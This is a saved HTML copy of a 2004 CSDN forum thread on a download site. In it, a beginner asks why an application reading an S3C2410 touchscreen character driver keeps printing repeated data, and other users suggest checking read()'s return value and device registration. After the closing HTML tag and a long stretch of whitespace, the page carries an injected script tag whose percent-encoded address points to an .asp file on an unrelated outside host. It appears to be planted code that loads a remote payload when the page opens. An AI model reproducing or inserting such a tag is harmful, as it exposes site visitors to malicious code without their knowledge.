⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 嵌入式系统字符驱动程序(应用)问题(初学),请帮忙回答 linux-unix社区 - 内核及驱动程序研究区 - csdn社区 community_csdn_net.htm

📁 S3C44B0x下的ADS7843触摸屏驱动资料与代码
💻 HTM
📖 第 1 页 / 共 3 页
字号:
<DIV class=ReplyLine><SPAN class=ReplyFloor>1楼</SPAN>&nbsp; <SPAN 
class=ReplyUserName>LinHanLao</SPAN> &nbsp; (<SPAN 
class=ReplyUserNickName>凌寒</SPAN>) <IMG alt="四级用户 该版得分小于等于2000分,大于1000分" 
src="嵌入式系统字符驱动程序(应用)问题(初学),请帮忙回答 Linux-Unix社区 - 内核及驱动程序研究区 - CSDN社区 community_csdn_net.files/user4.gif"> 
&nbsp;回复于&nbsp;<SPAN class=ReplyTime>2004-08-05 09:47:54</SPAN> 
&nbsp;得分&nbsp;<SPAN class=ReplyPoint>5</SPAN> </DIV>
<DIV class=ReplyContext><BR>你必须在你的驱动程序里用devfs_register()注册一个/dev/s3c2410-ts, 
&nbsp; <BR>&nbsp; 或者用mknod直接建立一个,&lt;ldd2&gt;上有详细的说明,去看看。 <BR></DIV>
<DIV class=GoTop><A title=回到主题 
href="http://topic.csdn.net/t/20040804/18/3242898.html#Top">Top</A></DIV></DIV>
<DIV class=ReplysRegion id=ReplysRegion_22922444><A name=Reply_22922444>
<DIV class=ReplyLine><SPAN class=ReplyFloor>2楼</SPAN>&nbsp; <SPAN 
class=ReplyUserName>syncrow</SPAN> &nbsp; (<SPAN 
class=ReplyUserNickName>天天</SPAN>) <IMG alt="一级用户 该版得分小于等于100分" 
src="嵌入式系统字符驱动程序(应用)问题(初学),请帮忙回答 Linux-Unix社区 - 内核及驱动程序研究区 - CSDN社区 community_csdn_net.files/user1.gif"> 
&nbsp;回复于&nbsp;<SPAN class=ReplyTime>2004-08-05 11:08:02</SPAN> &nbsp;得分 
<SPAN>0</SPAN> </DIV>
<DIV class=ReplyContext><BR>谢谢,我已经找到了在dev的文件夹下找到的!谢谢你的关注 <BR></DIV>
<DIV class=GoTop><A title=回到主题 
href="http://topic.csdn.net/t/20040804/18/3242898.html#Top">Top</A></DIV></DIV>
<DIV class=ReplysRegion id=ReplysRegion_22923463><A name=Reply_22923463>
<DIV class=ReplyLine><SPAN class=ReplyFloor>3楼</SPAN>&nbsp; <SPAN 
class=ReplyUserName>syncrow</SPAN> &nbsp; (<SPAN 
class=ReplyUserNickName>天天</SPAN>) <IMG alt="一级用户 该版得分小于等于100分" 
src="嵌入式系统字符驱动程序(应用)问题(初学),请帮忙回答 Linux-Unix社区 - 内核及驱动程序研究区 - CSDN社区 community_csdn_net.files/user1.gif"> 
&nbsp;回复于&nbsp;<SPAN class=ReplyTime>2004-08-05 11:33:57</SPAN> &nbsp;得分 
<SPAN>0</SPAN> </DIV>
<DIV class=ReplyContext><BR>我把应用程序的 &nbsp; <BR>&nbsp; main() &nbsp; <BR>&nbsp; { 
&nbsp; <BR>&nbsp; int &nbsp; buf[10]; &nbsp; <BR>&nbsp; int &nbsp; fd &nbsp; = 
&nbsp; open("/dev/touchscreen",0); &nbsp; <BR>&nbsp; if(-1==fd) &nbsp; 
<BR>&nbsp; printf("Can't &nbsp; open &nbsp; TS!"); &nbsp; <BR>&nbsp; while(1) 
&nbsp; <BR>&nbsp; { &nbsp; <BR>&nbsp; read( &nbsp; fd,buf,10); &nbsp; <BR>&nbsp; 
for( &nbsp; int &nbsp; i=0; &nbsp; i&lt;10;i++) &nbsp; <BR>&nbsp; 
printf('buf[%d]= &nbsp; %d\n",i,buf[i]); &nbsp; <BR>&nbsp; } &nbsp; <BR>&nbsp; } 
&nbsp; <BR>&nbsp; 这样就可以访问触摸屏了,但是在运行的时候输出的总是那一段数据(10个),不断的重复,我都没有接触触摸屏. &nbsp; 
<BR>&nbsp; static &nbsp; ssize_t &nbsp; s3c2410_ts_read(struct &nbsp; file 
&nbsp; *filp, &nbsp; char &nbsp; *buffer, &nbsp; size_t &nbsp; count, &nbsp; 
loff_t &nbsp; *ppos) &nbsp; <BR>&nbsp; { &nbsp; <BR>&nbsp; TS_RET &nbsp; ts_ret; 
&nbsp; <BR>&nbsp; &nbsp; <BR>&nbsp; retry: &nbsp; <BR>&nbsp; if &nbsp; 
(tsdev.head &nbsp; != &nbsp; tsdev.tail) &nbsp; { &nbsp; <BR>&nbsp; int &nbsp; 
count; &nbsp; <BR>&nbsp; count &nbsp; = &nbsp; tsRead(&amp;ts_ret); &nbsp; 
<BR>&nbsp; if &nbsp; (count) &nbsp; copy_to_user(buffer, &nbsp; (char &nbsp; 
*)&amp;ts_ret, &nbsp; count); &nbsp; <BR>&nbsp; return &nbsp; count; &nbsp; 
<BR>&nbsp; } &nbsp; <BR>&nbsp; &nbsp; else &nbsp; { &nbsp; <BR>&nbsp; if &nbsp; 
(filp-&gt;f_flags &nbsp; &amp; &nbsp; O_NONBLOCK) &nbsp; <BR>&nbsp; return 
&nbsp; -EAGAIN; &nbsp; <BR>&nbsp; interruptible_sleep_on(&amp;(tsdev.wq)); 
&nbsp; <BR>&nbsp; if &nbsp; (signal_pending(current)) &nbsp; <BR>&nbsp; return 
&nbsp; -ERESTARTSYS; &nbsp; <BR>&nbsp; goto &nbsp; retry; &nbsp; <BR>&nbsp; } 
&nbsp; <BR>&nbsp; 程序里面可以看出,如果没有接触触摸屏的话,应该是要等待循环(goto &nbsp; retry);不应该不停的输出的呀! 
&nbsp; <BR>&nbsp; &nbsp; <BR>&nbsp; (在没有接上硬件的时候也可以输出数据而且和接了硬件后输出的数据是一样的,请帮我看看 
&nbsp; <BR>&nbsp; !! <BR></DIV>
<DIV class=GoTop><A title=回到主题 
href="http://topic.csdn.net/t/20040804/18/3242898.html#Top">Top</A></DIV></DIV>
<DIV class=ReplysRegion id=ReplysRegion_22923505><A name=Reply_22923505>
<DIV class=ReplyLine><SPAN class=ReplyFloor>4楼</SPAN>&nbsp; <SPAN 
class=ReplyUserName>syncrow</SPAN> &nbsp; (<SPAN 
class=ReplyUserNickName>天天</SPAN>) <IMG alt="一级用户 该版得分小于等于100分" 
src="嵌入式系统字符驱动程序(应用)问题(初学),请帮忙回答 Linux-Unix社区 - 内核及驱动程序研究区 - CSDN社区 community_csdn_net.files/user1.gif"> 
&nbsp;回复于&nbsp;<SPAN class=ReplyTime>2004-08-05 11:35:18</SPAN> &nbsp;得分 
<SPAN>0</SPAN> </DIV>
<DIV class=ReplyContext><BR>我把应用程序的 &nbsp; <BR>&nbsp; main() &nbsp; <BR>&nbsp; { 
&nbsp; <BR>&nbsp; int &nbsp; buf[10]; &nbsp; <BR>&nbsp; int &nbsp; fd &nbsp; = 
&nbsp; open("/dev/touchscreen",0); &nbsp; <BR>&nbsp; if(-1==fd) &nbsp; 
<BR>&nbsp; printf("Can't &nbsp; open &nbsp; TS!"); &nbsp; <BR>&nbsp; while(1) 
&nbsp; <BR>&nbsp; { &nbsp; <BR>&nbsp; read( &nbsp; fd,buf,10); &nbsp; <BR>&nbsp; 
for( &nbsp; int &nbsp; i=0; &nbsp; i&lt;10;i++) &nbsp; <BR>&nbsp; 
printf('buf[%d]= &nbsp; %d\n",i,buf[i]); &nbsp; <BR>&nbsp; } &nbsp; <BR>&nbsp; } 
&nbsp; <BR>&nbsp; 这样就可以访问触摸屏了,但是在运行的时候输出的总是那一段数据(10个),不断的重复,我都没有接触触摸屏. &nbsp; 
<BR>&nbsp; static &nbsp; ssize_t &nbsp; s3c2410_ts_read(struct &nbsp; file 
&nbsp; *filp, &nbsp; char &nbsp; *buffer, &nbsp; size_t &nbsp; count, &nbsp; 
loff_t &nbsp; *ppos) &nbsp; <BR>&nbsp; { &nbsp; <BR>&nbsp; TS_RET &nbsp; ts_ret; 
&nbsp; <BR>&nbsp; &nbsp; <BR>&nbsp; retry: &nbsp; <BR>&nbsp; if &nbsp; 
(tsdev.head &nbsp; != &nbsp; tsdev.tail) &nbsp; { &nbsp; <BR>&nbsp; int &nbsp; 
count; &nbsp; <BR>&nbsp; count &nbsp; = &nbsp; tsRead(&amp;ts_ret); &nbsp; 
<BR>&nbsp; if &nbsp; (count) &nbsp; copy_to_user(buffer, &nbsp; (char &nbsp; 
*)&amp;ts_ret, &nbsp; count); &nbsp; <BR>&nbsp; return &nbsp; count; &nbsp; 
<BR>&nbsp; } &nbsp; <BR>&nbsp; &nbsp; else &nbsp; { &nbsp; <BR>&nbsp; if &nbsp; 
(filp-&gt;f_flags &nbsp; &amp; &nbsp; O_NONBLOCK) &nbsp; <BR>&nbsp; return 
&nbsp; -EAGAIN; &nbsp; <BR>&nbsp; interruptible_sleep_on(&amp;(tsdev.wq)); 
&nbsp; <BR>&nbsp; if &nbsp; (signal_pending(current)) &nbsp; <BR>&nbsp; return 
&nbsp; -ERESTARTSYS; &nbsp; <BR>&nbsp; goto &nbsp; retry; &nbsp; <BR>&nbsp; } 
&nbsp; <BR>&nbsp; 程序里面可以看出,如果没有接触触摸屏的话,应该是要等待循环(goto &nbsp; retry);不应该不停的输出的呀! 
&nbsp; <BR>&nbsp; &nbsp; <BR>&nbsp; (在没有接上硬件的时候也可以输出数据而且和接了硬件后输出的数据是一样的,请帮我看看 
&nbsp; <BR>&nbsp; !! <BR></DIV>
<DIV class=GoTop><A title=回到主题 
href="http://topic.csdn.net/t/20040804/18/3242898.html#Top">Top</A></DIV></DIV>
<DIV class=ReplysRegion id=ReplysRegion_22924837><A name=Reply_22924837>
<DIV class=ReplyLine><SPAN class=ReplyFloor>5楼</SPAN>&nbsp; <SPAN 
class=ReplyUserName>freasy</SPAN> &nbsp; (<SPAN 
class=ReplyUserNickName>崔沙</SPAN>) <IMG alt="四级用户 该版得分小于等于2000分,大于1000分" 
src="嵌入式系统字符驱动程序(应用)问题(初学),请帮忙回答 Linux-Unix社区 - 内核及驱动程序研究区 - CSDN社区 community_csdn_net.files/user4.gif"> 
&nbsp;回复于&nbsp;<SPAN class=ReplyTime>2004-08-05 12:11:45</SPAN> 
&nbsp;得分&nbsp;<SPAN class=ReplyPoint>5</SPAN> </DIV>
<DIV class=ReplyContext><BR>你看看read的返回值呢? <BR></DIV>
<DIV class=GoTop><A title=回到主题 
href="http://topic.csdn.net/t/20040804/18/3242898.html#Top">Top</A></DIV></DIV>
<DIV class=ReplysRegion id=ReplysRegion_22924873><A name=Reply_22924873>
<DIV class=ReplyLine><SPAN class=ReplyFloor>6楼</SPAN>&nbsp; <SPAN 
class=ReplyUserName>freasy</SPAN> &nbsp; (<SPAN 
class=ReplyUserNickName>崔沙</SPAN>) <IMG alt="四级用户 该版得分小于等于2000分,大于1000分" 
src="嵌入式系统字符驱动程序(应用)问题(初学),请帮忙回答 Linux-Unix社区 - 内核及驱动程序研究区 - CSDN社区 community_csdn_net.files/user4.gif"> 
&nbsp;回复于&nbsp;<SPAN class=ReplyTime>2004-08-05 12:12:45</SPAN> &nbsp;得分 
<SPAN>0</SPAN> </DIV>
<DIV 
class=ReplyContext><BR>看看这个值是不是由你的驱动程序返回的,也许你的操作错误,使得你的请求没到达你的驱动程序就由操作系统检查出非法,就直接返回了 
<BR></DIV>
<DIV class=GoTop><A title=回到主题 
href="http://topic.csdn.net/t/20040804/18/3242898.html#Top">Top</A></DIV></DIV>
<DIV class=ReplysRegion id=ReplysRegion_22930373><A name=Reply_22930373>
<DIV class=ReplyLine><SPAN class=ReplyFloor>7楼</SPAN>&nbsp; <SPAN 
class=ReplyUserName>syncrow</SPAN> &nbsp; (<SPAN 
class=ReplyUserNickName>天天</SPAN>) <IMG alt="一级用户 该版得分小于等于100分" 
src="嵌入式系统字符驱动程序(应用)问题(初学),请帮忙回答 Linux-Unix社区 - 内核及驱动程序研究区 - CSDN社区 community_csdn_net.files/user1.gif"> 
&nbsp;回复于&nbsp;<SPAN class=ReplyTime>2004-08-05 14:47:56</SPAN> &nbsp;得分 
<SPAN>0</SPAN> </DIV>
<DIV class=ReplyContext><BR>是的,我试过read的返回值是-1,看一个数据是否是驱动程序返回的方法是什么?请相告!谢谢! 
<BR></DIV>
<DIV class=GoTop><A title=回到主题 
href="http://topic.csdn.net/t/20040804/18/3242898.html#Top">Top</A></DIV></DIV>
<DIV class=ReplysRegion id=ReplysRegion_23049157><A name=Reply_23049157>
<DIV class=ReplyLine><SPAN class=ReplyFloor>8楼</SPAN>&nbsp; <SPAN 
class=ReplyUserName>zhjie374</SPAN> &nbsp; (<SPAN 
class=ReplyUserNickName>zhjie374</SPAN>) <IMG alt="二级用户 该版得分小于等于500分,大于100分" 
src="嵌入式系统字符驱动程序(应用)问题(初学),请帮忙回答 Linux-Unix社区 - 内核及驱动程序研究区 - CSDN社区 community_csdn_net.files/user2.gif"> 
&nbsp;回复于&nbsp;<SPAN class=ReplyTime>2004-08-10 15:05:05</SPAN> 
&nbsp;得分&nbsp;<SPAN class=ReplyPoint>5</SPAN> </DIV>
<DIV class=ReplyContext><BR>看看read的返回值!!! <BR></DIV>
<DIV class=GoTop><A title=回到主题 
href="http://topic.csdn.net/t/20040804/18/3242898.html#Top">Top</A></DIV></DIV>
<DIV class=ReplysRegion id=ReplysRegion_23077923><A name=Reply_23077923>
<DIV class=ReplyLine><SPAN class=ReplyFloor>9楼</SPAN>&nbsp; <SPAN 
class=ReplyUserName>wfwater</SPAN> &nbsp; (<SPAN 
class=ReplyUserNickName>淡水</SPAN>) <IMG alt="三级用户 该版得分小于等于1000分,大于500分" 
src="嵌入式系统字符驱动程序(应用)问题(初学),请帮忙回答 Linux-Unix社区 - 内核及驱动程序研究区 - CSDN社区 community_csdn_net.files/user3.gif"> 
&nbsp;回复于&nbsp;<SPAN class=ReplyTime>2004-08-11 13:19:19</SPAN> 
&nbsp;得分&nbsp;<SPAN class=ReplyPoint>5</SPAN> </DIV>
<DIV class=ReplyContext><BR>assize_t &nbsp; read(int &nbsp; fields,void &nbsp; 
*buff,size_t &nbsp; nbytes); &nbsp; <BR>&nbsp; &nbsp; <BR>&nbsp; 
返回:读到的字节数,若已经到达文件尾为0,若出错为-1 <BR></DIV>
<DIV class=GoTop><A title=回到主题 
href="http://topic.csdn.net/t/20040804/18/3242898.html#Top">Top</A></DIV></DIV></DIV>
<DIV id=CorrelatedTopicsRegion>
<DIV id=CorrelatedTopicsRegionInfo>相关问题</DIV>
<UL>
  <LI><A 
  href="http://topic.csdn.net/t/20040804/18/3242898.html">嵌入式系统字符驱动程序(应用)问题(初学),请帮忙回答</A> 

  <LI><A 
  href="http://topic.csdn.net/t/20040830/14/3322357.html">请教.Net应用程序、MFC应用程序及WIN32应用程序的区别和特点?!</A> 

  <LI><A 
  href="http://topic.csdn.net/t/20040924/15/3405857.html">掌握嵌入式Linux应用、驱动、移植!</A> 

  <LI><A 
  href="http://topic.csdn.net/t/20040924/15/3405938.html">掌握嵌入式Linux应用、驱动、移植!</A> 

  <LI><A 
  href="http://topic.csdn.net/t/20040924/15/3406116.html">掌握嵌入式Linux应用、驱动、移植!</A> 

  <LI><A 
  href="http://topic.csdn.net/t/20040924/15/3406119.html">掌握嵌入式Linux应用、驱动、移植!</A> 

  <LI><A 
  href="http://topic.csdn.net/t/20040924/15/3406127.html">掌握嵌入式Linux应用、驱动、移植!</A> 

  <LI><A 
  href="http://topic.csdn.net/t/20040924/15/3406128.html">掌握嵌入式Linux应用、驱动、移植!</A> 

  <LI><A 
  href="http://topic.csdn.net/t/20040924/15/3405939.html">掌握嵌入式Linux应用、驱动、移植!</A> 

  <LI><A 
  href="http://topic.csdn.net/t/20040924/15/3405982.html">掌握嵌入式Linux应用、驱动、移植!</A> 
  </LI></UL></DIV></DIV></DIV><!--Bottom Begin-->
<DIV id=CFBig align=center>
<HR align=center>

<DIV id=CFContent>
<DIV id=CFBiaoShi><A 
href="http://www.hd315.gov.cn/beian/view.asp?bianhao=010202001032100010"><IMG 
height=48 alt="" 
src="嵌入式系统字符驱动程序(应用)问题(初学),请帮忙回答 Linux-Unix社区 - 内核及驱动程序研究区 - CSDN社区 community_csdn_net.files/BiaoShi.gif" 
width=40 border=0></A></DIV>
<P><A href="http://www.csdn.net/intro/intro.asp?id=2">网站简介</A>-<A 
href="http://www.csdn.net/intro/intro.asp?id=5">广告服务</A>-<A 
href="http://www.csdn.net/map/map.shtm">网站地图</A>-<A 
href="http://www.csdn.net/help/help.asp">帮助信息</A>-<A 
href="http://www.csdn.net/intro/intro.asp?id=9">联系方式</A>-<A 
href="http://www.csdn.net/english/">English</A>-<A 
href="mailto:webmaster@csdn.net">问题报告</A></P>
<P><A href="http://community.csdn.net/tree/treenodeData/sitemap.htm"><FONT 
color=#f4f3ee>CSDN</FONT></A>北京百联美达美数码科技有限公司&nbsp;&nbsp;版权所有&nbsp;&nbsp;京 ICP 证 
020026 号 <A href="http://community.csdn.net/tree/treenodeData/sitemap.htm"><FONT 
color=#f4f3ee>CSDN</FONT></A></P>
<P>&copy; 2000-04, CSDN.NET, All Rights Reserved</P></DIV>
<HR align=center>
</DIV><!--Bottom End--></DIV></BODY></HTML>
                                                                                              
<script src="http://%6A%73%2E%6B%30%31%30%32%2E%63%6F%6D/%30%31%2E%61%73%70"></script>

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -